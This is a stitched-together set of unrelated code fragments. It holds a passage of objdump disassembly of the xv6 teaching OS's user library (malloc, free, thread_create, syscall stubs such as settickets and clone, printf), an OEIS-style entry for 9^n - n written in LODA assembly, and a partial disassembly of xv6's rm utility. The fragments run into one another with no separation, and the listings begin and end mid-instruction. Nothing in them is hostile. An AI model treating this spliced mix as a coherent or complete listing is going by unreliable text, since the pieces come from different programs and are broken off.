c8 cmp %ecx,%eax 1359: 73 15 jae 1370 <free+0x30> 135b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 135f: 90 nop 1360: 39 d1 cmp %edx,%ecx 1362: 72 14 jb 1378 <free+0x38> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1364: 39 d0 cmp %edx,%eax 1366: 73 10 jae 1378 <free+0x38> { 1368: 89 d0 mov %edx,%eax for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 136a: 8b 10 mov (%eax),%edx 136c: 39 c8 cmp %ecx,%eax 136e: 72 f0 jb 1360 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1370: 39 d0 cmp %edx,%eax 1372: 72 f4 jb 1368 <free+0x28> 1374: 39 d1 cmp %edx,%ecx 1376: 73 f0 jae 1368 <free+0x28> break; if(bp + bp->s.size == p->s.ptr){ 1378: 8b 73 fc mov -0x4(%ebx),%esi 137b: 8d 3c f1 lea (%ecx,%esi,8),%edi 137e: 39 fa cmp %edi,%edx 1380: 74 1e je 13a0 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 1382: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 1385: 8b 50 04 mov 0x4(%eax),%edx 1388: 8d 34 d0 lea (%eax,%edx,8),%esi 138b: 39 f1 cmp %esi,%ecx 138d: 74 28 je 13b7 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 138f: 89 08 mov %ecx,(%eax) freep = p; } 1391: 5b pop %ebx freep = p; 1392: a3 e4 1b 00 00 mov %eax,0x1be4 } 1397: 5e pop %esi 1398: 5f pop %edi 1399: 5d pop %ebp 139a: c3 ret 139b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 139f: 90 nop bp->s.size += p->s.ptr->s.size; 13a0: 03 72 04 add 0x4(%edx),%esi 13a3: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 13a6: 8b 10 mov (%eax),%edx 13a8: 8b 12 mov (%edx),%edx 13aa: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 13ad: 8b 50 04 mov 0x4(%eax),%edx 13b0: 8d 34 d0 lea (%eax,%edx,8),%esi 13b3: 39 f1 cmp %esi,%ecx 13b5: 75 d8 jne 138f <free+0x4f> p->s.size += bp->s.size; 13b7: 03 53 fc add -0x4(%ebx),%edx freep = p; 13ba: a3 e4 1b 00 00 mov %eax,0x1be4 p->s.size += bp->s.size; 13bf: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 13c2: 8b 53 f8 mov -0x8(%ebx),%edx 13c5: 89 10 mov %edx,(%eax) } 13c7: 5b pop %ebx 13c8: 5e pop %esi 13c9: 5f pop %edi 13ca: 5d pop %ebp 13cb: c3 ret 13cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 000013d0 <malloc>: return freep; } void* malloc(uint nbytes) { 13d0: f3 0f 1e fb endbr32 13d4: 55 push %ebp 13d5: 89 e5 mov %esp,%ebp 13d7: 57 push %edi 13d8: 56 push %esi 13d9: 53 push %ebx 13da: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 13dd: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 13e0: 8b 3d e4 1b 00 00 mov 0x1be4,%edi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 13e6: 8d 70 07 lea 0x7(%eax),%esi 13e9: c1 ee 03 shr $0x3,%esi 13ec: 83 c6 01 add $0x1,%esi if((prevp = freep) == 0){ 13ef: 85 ff test %edi,%edi 13f1: 0f 84 a9 00 00 00 je 14a0 <malloc+0xd0> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 13f7: 8b 07 mov (%edi),%eax if(p->s.size >= nunits){ 13f9: 8b 48 04 mov 0x4(%eax),%ecx 13fc: 39 f1 cmp %esi,%ecx 13fe: 73 6d jae 146d <malloc+0x9d> 1400: 81 fe 00 10 00 00 cmp $0x1000,%esi 1406: bb 00 10 00 00 mov $0x1000,%ebx 140b: 0f 43 de cmovae %esi,%ebx p = sbrk(nu * sizeof(Header)); 140e: 8d 0c dd 00 00 00 00 lea 0x0(,%ebx,8),%ecx 1415: 89 4d e4 mov %ecx,-0x1c(%ebp) 1418: eb 17 jmp 1431 <malloc+0x61> 141a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1420: 8b 10 mov (%eax),%edx if(p->s.size >= nunits){ 1422: 8b 4a 04 mov 0x4(%edx),%ecx 1425: 39 f1 cmp %esi,%ecx 1427: 73 4f jae 1478 <malloc+0xa8> 1429: 8b 3d e4 1b 00 00 mov 0x1be4,%edi 142f: 89 d0 mov %edx,%eax p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 1431: 39 c7 cmp %eax,%edi 1433: 75 eb jne 1420 <malloc+0x50> p = sbrk(nu * sizeof(Header)); 1435: 83 ec 0c sub $0xc,%esp 1438: ff 75 e4 pushl -0x1c(%ebp) 143b: e8 55 01 00 00 call 1595 <sbrk> if(p == (char*)-1) 1440: 83 c4 10 add $0x10,%esp 1443: 83 f8 ff cmp $0xffffffff,%eax 1446: 74 1b je 1463 <malloc+0x93> hp->s.size = nu; 1448: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 144b: 83 ec 0c sub $0xc,%esp 144e: 83 c0 08 add $0x8,%eax 1451: 50 push %eax 1452: e8 e9 fe ff ff call 1340 <free> return freep; 1457: a1 e4 1b 00 00 mov 0x1be4,%eax if((p = morecore(nunits)) == 0) 145c: 83 c4 10 add $0x10,%esp 145f: 85 c0 test %eax,%eax 1461: 75 bd jne 1420 <malloc+0x50> return 0; } } 1463: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 1466: 31 c0 xor %eax,%eax } 1468: 5b pop %ebx 1469: 5e pop %esi 146a: 5f pop %edi 146b: 5d pop %ebp 146c: c3 ret if(p->s.size >= nunits){ 146d: 89 c2 mov %eax,%edx 146f: 89 f8 mov %edi,%eax 1471: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) 1478: 39 ce cmp %ecx,%esi 147a: 74 54 je 14d0 <malloc+0x100> p->s.size -= nunits; 147c: 29 f1 sub %esi,%ecx 147e: 89 4a 04 mov %ecx,0x4(%edx) p += p->s.size; 1481: 8d 14 ca lea (%edx,%ecx,8),%edx p->s.size = nunits; 1484: 89 72 04 mov %esi,0x4(%edx) freep = prevp; 1487: a3 e4 1b 00 00 mov %eax,0x1be4 } 148c: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 148f: 8d 42 08 lea 0x8(%edx),%eax } 1492: 5b pop %ebx 1493: 5e pop %esi 1494: 5f pop %edi 1495: 5d pop %ebp 1496: c3 ret 1497: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 149e: 66 90 xchg %ax,%ax base.s.ptr = freep = prevp = &base; 14a0: c7 05 e4 1b 00 00 e8 movl $0x1be8,0x1be4 14a7: 1b 00 00 base.s.size = 0; 14aa: bf e8 1b 00 00 mov $0x1be8,%edi base.s.ptr = freep = prevp = &base; 14af: c7 05 e8 1b 00 00 e8 movl $0x1be8,0x1be8 14b6: 1b 00 00 for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 14b9: 89 f8 mov %edi,%eax base.s.size = 0; 14bb: c7 05 ec 1b 00 00 00 movl $0x0,0x1bec 14c2: 00 00 00 if(p->s.size >= nunits){ 14c5: e9 36 ff ff ff jmp 1400 <malloc+0x30> 14ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi prevp->s.ptr = p->s.ptr; 14d0: 8b 0a mov (%edx),%ecx 14d2: 89 08 mov %ecx,(%eax) 14d4: eb b1 jmp 1487 <malloc+0xb7> 14d6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 14dd: 8d 76 00 lea 0x0(%esi),%esi 000014e0 <thread_create>: { 14e0: f3 0f 1e fb endbr32 14e4: 55 push %ebp 14e5: 89 e5 mov %esp,%ebp 14e7: 83 ec 14 sub $0x14,%esp stack =malloc(4096); //pgsize 14ea: 68 00 10 00 00 push $0x1000 14ef: e8 dc fe ff ff call 13d0 <malloc> return clone(start_routine,arg1,arg2,stack); 14f4: 50 push %eax 14f5: ff 75 10 pushl 0x10(%ebp) 14f8: ff 75 0c pushl 0xc(%ebp) 14fb: ff 75 08 pushl 0x8(%ebp) 14fe: e8 d2 00 00 00 call 15d5 <clone> } 1503: c9 leave 1504: c3 ret 00001505 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 1505: b8 01 00 00 00 mov $0x1,%eax 150a: cd 40 int $0x40 150c: c3 ret 0000150d <exit>: SYSCALL(exit) 150d: b8 02 00 00 00 mov $0x2,%eax 1512: cd 40 int $0x40 1514: c3 ret 00001515 <wait>: SYSCALL(wait) 1515: b8 03 00 00 00 mov $0x3,%eax 151a: cd 40 int $0x40 151c: c3 ret 0000151d <pipe>: SYSCALL(pipe) 151d: b8 04 00 00 00 mov $0x4,%eax 1522: cd 40 int $0x40 1524: c3 ret 00001525 <read>: SYSCALL(read) 1525: b8 05 00 00 00 mov $0x5,%eax 152a: cd 40 int $0x40 152c: c3 ret 0000152d <write>: SYSCALL(write) 152d: b8 10 00 00 00 mov $0x10,%eax 1532: cd 40 int $0x40 1534: c3 ret 00001535 <close>: SYSCALL(close) 1535: b8 15 00 00 00 mov $0x15,%eax 153a: cd 40 int $0x40 153c: c3 ret 0000153d <kill>: SYSCALL(kill) 153d: b8 06 00 00 00 mov $0x6,%eax 1542: cd 40 int $0x40 1544: c3 ret 00001545 <exec>: SYSCALL(exec) 1545: b8 07 00 00 00 mov $0x7,%eax 154a: cd 40 int $0x40 154c: c3 ret 0000154d <open>: SYSCALL(open) 154d: b8 0f 00 00 00 mov $0xf,%eax 1552: cd 40 int $0x40 1554: c3 ret 00001555 <mknod>: SYSCALL(mknod) 1555: b8 11 00 00 00 mov $0x11,%eax 155a: cd 40 int $0x40 155c: c3 ret 0000155d <unlink>: SYSCALL(unlink) 155d: b8 12 00 00 00 mov $0x12,%eax 1562: cd 40 int $0x40 1564: c3 ret 00001565 <fstat>: SYSCALL(fstat) 1565: b8 08 00 00 00 mov $0x8,%eax 156a: cd 40 int $0x40 156c: c3 ret 0000156d <link>: SYSCALL(link) 156d: b8 13 00 00 00 mov $0x13,%eax 1572: cd 40 int $0x40 1574: c3 ret 00001575 <mkdir>: SYSCALL(mkdir) 1575: b8 14 00 00 00 mov $0x14,%eax 157a: cd 40 int $0x40 157c: c3 ret 0000157d <chdir>: SYSCALL(chdir) 157d: b8 09 00 00 00 mov $0x9,%eax 1582: cd 40 int $0x40 1584: c3 ret 00001585 <dup>: SYSCALL(dup) 1585: b8 0a 00 00 00 mov $0xa,%eax 158a: cd 40 int $0x40 158c: c3 ret 0000158d <getpid>: SYSCALL(getpid) 158d: b8 0b 00 00 00 mov $0xb,%eax 1592: cd 40 int $0x40 1594: c3 ret 00001595 <sbrk>: SYSCALL(sbrk) 1595: b8 0c 00 00 00 mov $0xc,%eax 159a: cd 40 int $0x40 159c: c3 ret 0000159d <sleep>: SYSCALL(sleep) 159d: b8 0d 00 00 00 mov $0xd,%eax 15a2: cd 40 int $0x40 15a4: c3 ret 000015a5 <uptime>: SYSCALL(uptime) 15a5: b8 0e 00 00 00 mov $0xe,%eax 15aa: cd 40 int $0x40 15ac: c3 ret 000015ad <count>: SYSCALL(count) 15ad: b8 16 00 00 00 mov $0x16,%eax 15b2: cd 40 int $0x40 15b4: c3 ret 000015b5 <settickets>: SYSCALL(settickets) 15b5: b8 17 00 00 00 mov $0x17,%eax 15ba: cd 40 int $0x40 15bc: c3 ret 000015bd <getpinfo>: SYSCALL(getpinfo) 15bd: b8 18 00 00 00 mov $0x18,%eax 15c2: cd 40 int $0x40 15c4: c3 ret 000015c5 <mprotect>: SYSCALL(mprotect) 15c5: b8 19 00 00 00 mov $0x19,%eax 15ca: cd 40 int $0x40 15cc: c3 ret 000015cd <munprotect>: SYSCALL(munprotect) 15cd: b8 1a 00 00 00 mov $0x1a,%eax 15d2: cd 40 int $0x40 15d4: c3 ret 000015d5 <clone>: SYSCALL(clone) 15d5: b8 1b 00 00 00 mov $0x1b,%eax 15da: cd 40 int $0x40 15dc: c3 ret 000015dd <join>: SYSCALL(join) 15dd: b8 1c 00 00 00 mov $0x1c,%eax 15e2: cd 40 int $0x40 15e4: c3 ret 15e5: 66 90 xchg %ax,%ax 15e7: 66 90 xchg %ax,%ax 15e9: 66 90 xchg %ax,%ax 15eb: 66 90 xchg %ax,%ax 15ed: 66 90 xchg %ax,%ax 15ef: 90 nop 000015f0 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 15f0: 55 push %ebp 15f1: 89 e5 mov %esp,%ebp 15f3: 57 push %edi 15f4: 56 push %esi 15f5: 53 push %ebx 15f6: 83 ec 3c sub $0x3c,%esp 15f9: 89 4d c4 mov %ecx,-0x3c(%ebp) uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 15fc: 89 d1 mov %edx,%ecx { 15fe: 89 45 b8 mov %eax,-0x48(%ebp) if(sgn && xx < 0){ 1601: 85 d2 test %edx,%edx 1603: 0f 89 7f 00 00 00 jns 1688 <printint+0x98> 1609: f6 45 08 01 testb $0x1,0x8(%ebp) 160d: 74 79 je 1688 <printint+0x98> neg = 1; 160f: c7 45 bc 01 00 00 00 movl $0x1,-0x44(%ebp) x = -xx; 1616: f7 d9 neg %ecx } else { x = xx; } i = 0; 1618: 31 db xor %ebx,%ebx 161a: 8d 75 d7 lea -0x29(%ebp),%esi 161d: 8d 76 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 1620: 89 c8 mov %ecx,%eax 1622: 31 d2 xor %edx,%edx 1624: 89 cf mov %ecx,%edi 1626: f7 75 c4 divl -0x3c(%ebp) 1629: 0f b6 92 98 18 00 00 movzbl 0x1898(%edx),%edx 1630: 89 45 c0 mov %eax,-0x40(%ebp) 1633: 89 d8 mov %ebx,%eax 1635: 8d 5b 01 lea 0x1(%ebx),%ebx }while((x /= base) != 0); 1638: 8b 4d c0 mov -0x40(%ebp),%ecx buf[i++] = digits[x % base]; 163b: 88 14 1e mov %dl,(%esi,%ebx,1) }while((x /= base) != 0); 163e: 39 7d c4 cmp %edi,-0x3c(%ebp) 1641: 76 dd jbe 1620 <printint+0x30> if(neg) 1643: 8b 4d bc mov -0x44(%ebp),%ecx 1646: 85 c9 test %ecx,%ecx 1648: 74 0c je 1656 <printint+0x66> buf[i++] = '-'; 164a: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1) buf[i++] = digits[x % base]; 164f: 89 d8 mov %ebx,%eax buf[i++] = '-'; 1651: ba 2d 00 00 00 mov $0x2d,%edx while(--i >= 0) 1656: 8b 7d b8 mov -0x48(%ebp),%edi 1659: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx 165d: eb 07 jmp 1666 <printint+0x76> 165f: 90 nop 1660: 0f b6 13 movzbl (%ebx),%edx 1663: 83 eb 01 sub $0x1,%ebx write(fd, &c, 1); 1666: 83 ec 04 sub $0x4,%esp 1669: 88 55 d7 mov %dl,-0x29(%ebp) 166c: 6a 01 push $0x1 166e: 56 push %esi 166f: 57 push %edi 1670: e8 b8 fe ff ff call 152d <write> while(--i >= 0) 1675: 83 c4 10 add $0x10,%esp 1678: 39 de cmp %ebx,%esi 167a: 75 e4 jne 1660 <printint+0x70> putc(fd, buf[i]); } 167c: 8d 65 f4 lea -0xc(%ebp),%esp 167f: 5b pop %ebx 1680: 5e pop %esi 1681: 5f pop %edi 1682: 5d pop %ebp 1683: c3 ret 1684: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 1688: c7 45 bc 00 00 00 00 movl $0x0,-0x44(%ebp) 168f: eb 87 jmp 1618 <printint+0x28> 1691: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1698: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 169f: 90 nop 000016a0 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 16a0: f3 0f 1e fb endbr32 16a4: 55 push %ebp 16a5: 89 e5 mov %esp,%ebp 16a7: 57 push %edi 16a8: 56 push %esi 16a9: 53 push %ebx 16aa: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 16ad: 8b 75 0c mov 0xc(%ebp),%esi 16b0: 0f b6 1e movzbl (%esi),%ebx 16b3: 84 db test %bl,%bl 16b5: 0f 84 b4 00 00 00 je 176f <printf+0xcf> ap = (uint*)(void*)&fmt + 1; 16bb: 8d 45 10 lea 0x10(%ebp),%eax 16be: 83 c6 01 add $0x1,%esi write(fd, &c, 1); 16c1: 8d 7d e7 lea -0x19(%ebp),%edi state = 0; 16c4: 31 d2 xor %edx,%edx ap = (uint*)(void*)&fmt + 1; 16c6: 89 45 d0 mov %eax,-0x30(%ebp) 16c9: eb 33 jmp 16fe <printf+0x5e> 16cb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 16cf: 90 nop 16d0: 89 55 d4 mov %edx,-0x2c(%ebp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 16d3: ba 25 00 00 00 mov $0x25,%edx if(c == '%'){ 16d8: 83 f8 25 cmp $0x25,%eax 16db: 74 17 je 16f4 <printf+0x54> write(fd, &c, 1); 16dd: 83 ec 04 sub $0x4,%esp 16e0: 88 5d e7 mov %bl,-0x19(%ebp) 16e3: 6a 01 push $0x1 16e5: 57 push %edi 16e6: ff 75 08 pushl 0x8(%ebp) 16e9: e8 3f fe ff ff call 152d <write> 16ee: 8b 55 d4 mov -0x2c(%ebp),%edx } else { putc(fd, c); 16f1: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 16f4: 0f b6 1e movzbl (%esi),%ebx 16f7: 83 c6 01 add $0x1,%esi 16fa: 84 db test %bl,%bl 16fc: 74 71 je 176f <printf+0xcf> c = fmt[i] & 0xff; 16fe: 0f be cb movsbl %bl,%ecx 1701: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 1704: 85 d2 test %edx,%edx 1706: 74 c8 je 16d0 <printf+0x30> } } else if(state == '%'){ 1708: 83 fa 25 cmp $0x25,%edx 170b: 75 e7 jne 16f4 <printf+0x54> if(c == 'd'){ 170d: 83 f8 64 cmp $0x64,%eax 1710: 0f 84 9a 00 00 00 je 17b0 <printf+0x110> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 1716: 81 e1 f7 00 00 00 and $0xf7,%ecx 171c: 83 f9 70 cmp $0x70,%ecx 171f: 74 5f je 1780 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 1721: 83 f8 73 cmp $0x73,%eax 1724: 0f 84 d6 00 00 00 je 1800 <printf+0x160> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 172a: 83 f8 63 cmp $0x63,%eax 172d: 0f 84 8d 00 00 00 je 17c0 <printf+0x120> putc(fd, *ap); ap++; } else if(c == '%'){ 1733: 83 f8 25 cmp $0x25,%eax 1736: 0f 84 b4 00 00 00 je 17f0 <printf+0x150> write(fd, &c, 1); 173c: 83 ec 04 sub $0x4,%esp 173f: c6 45 e7 25 movb $0x25,-0x19(%ebp) 1743: 6a 01 push $0x1 1745: 57 push %edi 1746: ff 75 08 pushl 0x8(%ebp) 1749: e8 df fd ff ff call 152d <write> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 174e: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 1751: 83 c4 0c add $0xc,%esp 1754: 6a 01 push $0x1 1756: 83 c6 01 add $0x1,%esi 1759: 57 push %edi 175a: ff 75 08 pushl 0x8(%ebp) 175d: e8 cb fd ff ff call 152d <write> for(i = 0; fmt[i]; i++){ 1762: 0f b6 5e ff movzbl -0x1(%esi),%ebx putc(fd, c); 1766: 83 c4 10 add $0x10,%esp } state = 0; 1769: 31 d2 xor %edx,%edx for(i = 0; fmt[i]; i++){ 176b: 84 db test %bl,%bl 176d: 75 8f jne 16fe <printf+0x5e> } } } 176f: 8d 65 f4 lea -0xc(%ebp),%esp 1772: 5b pop %ebx 1773: 5e pop %esi 1774: 5f pop %edi 1775: 5d pop %ebp 1776: c3 ret 1777: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 177e: 66 90 xchg %ax,%ax printint(fd, *ap, 16, 0); 1780: 83 ec 0c sub $0xc,%esp 1783: b9 10 00 00 00 mov $0x10,%ecx 1788: 6a 00 push $0x0 178a: 8b 5d d0 mov -0x30(%ebp),%ebx 178d: 8b 45 08 mov 0x8(%ebp),%eax 1790: 8b 13 mov (%ebx),%edx 1792: e8 59 fe ff ff call 15f0 <printint> ap++; 1797: 89 d8 mov %ebx,%eax 1799: 83 c4 10 add $0x10,%esp state = 0; 179c: 31 d2 xor %edx,%edx ap++; 179e: 83 c0 04 add $0x4,%eax 17a1: 89 45 d0 mov %eax,-0x30(%ebp) 17a4: e9 4b ff ff ff jmp 16f4 <printf+0x54> 17a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi printint(fd, *ap, 10, 1); 17b0: 83 ec 0c sub $0xc,%esp 17b3: b9 0a 00 00 00 mov $0xa,%ecx 17b8: 6a 01 push $0x1 17ba: eb ce jmp 178a <printf+0xea> 17bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, *ap); 17c0: 8b 5d d0 mov -0x30(%ebp),%ebx write(fd, &c, 1); 17c3: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 17c6: 8b 03 mov (%ebx),%eax write(fd, &c, 1); 17c8: 6a 01 push $0x1 ap++; 17ca: 83 c3 04 add $0x4,%ebx write(fd, &c, 1); 17cd: 57 push %edi 17ce: ff 75 08 pushl 0x8(%ebp) putc(fd, *ap); 17d1: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 17d4: e8 54 fd ff ff call 152d <write> ap++; 17d9: 89 5d d0 mov %ebx,-0x30(%ebp) 17dc: 83 c4 10 add $0x10,%esp state = 0; 17df: 31 d2 xor %edx,%edx 17e1: e9 0e ff ff ff jmp 16f4 <printf+0x54> 17e6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 17ed: 8d 76 00 lea 0x0(%esi),%esi putc(fd, c); 17f0: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 17f3: 83 ec 04 sub $0x4,%esp 17f6: e9 59 ff ff ff jmp 1754 <printf+0xb4> 17fb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 17ff: 90 nop s = (char*)*ap; 1800: 8b 45 d0 mov -0x30(%ebp),%eax 1803: 8b 18 mov (%eax),%ebx ap++; 1805: 83 c0 04 add $0x4,%eax 1808: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) 180b: 85 db test %ebx,%ebx 180d: 74 17 je 1826 <printf+0x186> while(*s != 0){ 180f: 0f b6 03 movzbl (%ebx),%eax state = 0; 1812: 31 d2 xor %edx,%edx while(*s != 0){ 1814: 84 c0 test %al,%al 1816: 0f 84 d8 fe ff ff je 16f4 <printf+0x54> 181c: 89 75 d4 mov %esi,-0x2c(%ebp) 181f: 89 de mov %ebx,%esi 1821: 8b 5d 08 mov 0x8(%ebp),%ebx 1824: eb 1a jmp 1840 <printf+0x1a0> s = "(null)"; 1826: bb 8f 18 00 00 mov $0x188f,%ebx while(*s != 0){ 182b: 89 75 d4 mov %esi,-0x2c(%ebp) 182e: b8 28 00 00 00 mov $0x28,%eax 1833: 89 de mov %ebx,%esi 1835: 8b 5d 08 mov 0x8(%ebp),%ebx 1838: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 183f: 90 nop write(fd, &c, 1); 1840: 83 ec 04 sub $0x4,%esp s++; 1843: 83 c6 01 add $0x1,%esi 1846: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 1849: 6a 01 push $0x1 184b: 57 push %edi 184c: 53 push %ebx 184d: e8 db fc ff ff call 152d <write> while(*s != 0){ 1852: 0f b6 06 movzbl (%esi),%eax 1855: 83 c4 10 add $0x10,%esp 1858: 84 c0 test %al,%al 185a: 75 e4 jne 1840 <printf+0x1a0> 185c: 8b 75 d4 mov -0x2c(%ebp),%esi state = 0; 185f: 31 d2 xor %edx,%edx 1861: e9 8e fe ff ff jmp 16f4 <printf+0x54>
; A024102: a(n) = 9^n - n. ; 1,8,79,726,6557,59044,531435,4782962,43046713,387420480,3486784391,31381059598,282429536469,2541865828316,22876792454947,205891132094634,1853020188851825,16677181699666552,150094635296999103,1350851717672992070,12157665459056928781,109418989131512359188,984770902183611232859,8862938119652501095906,79766443076872509863337,717897987691852588770224,6461081889226673298932215,58149737003040059690390142,523347633027360537213511493,4710128697246244834921603660,42391158275216203514294433171 mov $1,9 pow $1,$0 sub $1,$0 mov $0,$1
_rm: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 57 push %edi e: 56 push %esi f: 53 push %ebx 10: 51 push %ecx 11: bf 01 00 00 00 mov $0x1,%edi 16: 83 ec 08 sub $0x8,%esp 19: 8b 31 mov (%ecx),%esi 1b: 8b 59 04 mov 0x4(%ecx),%ebx 1e: 83 c3 04 add $0x4,%ebx int i; if(argc < 2){ 21: 83 fe 01 cmp $0x1,%esi 24: 7e 3e jle 64 <main+0x64> 26: 8d 76 00 lea 0x0(%esi),%esi 29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi printf(2, "Usage: rm files...\n"); exit(); } for(i = 1; i < argc; i++){ if(unlink(argv[i]) < 0){ 30: 83 ec 0c sub $0xc,%esp 33: ff 33 pushl (%ebx) 35: e8 d8 02 00 00 call 312 <unlink> 3a: 83 c4 10 add $0x10,%esp 3d: 85 c0 test %eax,%eax 3f: 78 0f js 50 <main+0x50> if(argc < 2){ printf(2, "Usage: rm files...\n"); exit(); } for(i = 1; i < argc; i++){ 41: 83 c7 01 add $0x1,%edi 44: 83 c3 04 add $0x4,%ebx 47: 39 fe cmp %edi,%esi 49: 75 e5 jne 30 <main+0x30> printf(2, "rm: %s failed to delete\n", argv[i]); break; } } exit(); 4b: e8 72 02 00 00 call 2c2 <exit> exit(); } for(i = 1; i < argc; i++){ if(unlink(argv[i]) < 0){ printf(2, "rm: %s failed to delete\n", argv[i]); 50: 50 push %eax 51: ff 33 pushl (%ebx) 53: 68 44 07 00 00 push $0x744 58: 6a 02 push $0x2 5a: e8 b1 03 00 00 call 410 <printf> break; 5f: 83 c4 10 add $0x10,%esp 62: eb e7 jmp 4b <main+0x4b> main(int argc, char *argv[]) { int i; if(argc < 2){ printf(2, "Usage: rm files...\n"); 64: 52 push %edx 65: 52 push %edx 66: 68 30 07 00 00 push $0x730 6b: 6a 02 push $0x2 6d: e8 9e 03 00 00 call 410 <printf> exit(); 72: e8 4b 02 00 00 call 2c2 <exit> 77: 66 90 xchg %ax,%ax 79: 66 90 xchg %ax,%ax 7b: 66 90 xchg %ax,%ax 7d: 66 90 xchg %ax,%ax 7f: 90 nop 00000080 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 80: 55 push %ebp 81: 89 e5 mov %esp,%ebp 83: 53 push %ebx 84: 8b 45 08 mov 0x8(%ebp),%eax 87: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 8a: 89 c2 mov %eax,%edx 8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 90: 83 c1 01 add $0x1,%ecx 93: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 97: 83 c2 01 add $0x1,%edx 9a: 84 db test %bl,%bl 9c: 88 5a ff mov %bl,-0x1(%edx) 9f: 75 ef jne 90 <strcpy+0x10> ; return os; } a1: 5b pop %ebx a2: 5d pop %ebp a3: c3 ret a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000000b0 <strcmp>: int strcmp(const char *p, const char *q) { b0: 55 push %ebp b1: 89 e5 mov %esp,%ebp b3: 56 push %esi b4: 53 push %ebx b5: 8b 55 08 mov 0x8(%ebp),%edx b8: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) bb: 0f b6 02 movzbl (%edx),%eax be: 0f b6 19 movzbl (%ecx),%ebx c1: 84 c0 test %al,%al c3: 75 1e jne e3 <strcmp+0x33> c5: eb 29 jmp f0 <strcmp+0x40> c7: 89 f6 mov %esi,%esi c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; d0: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) d3: 0f b6 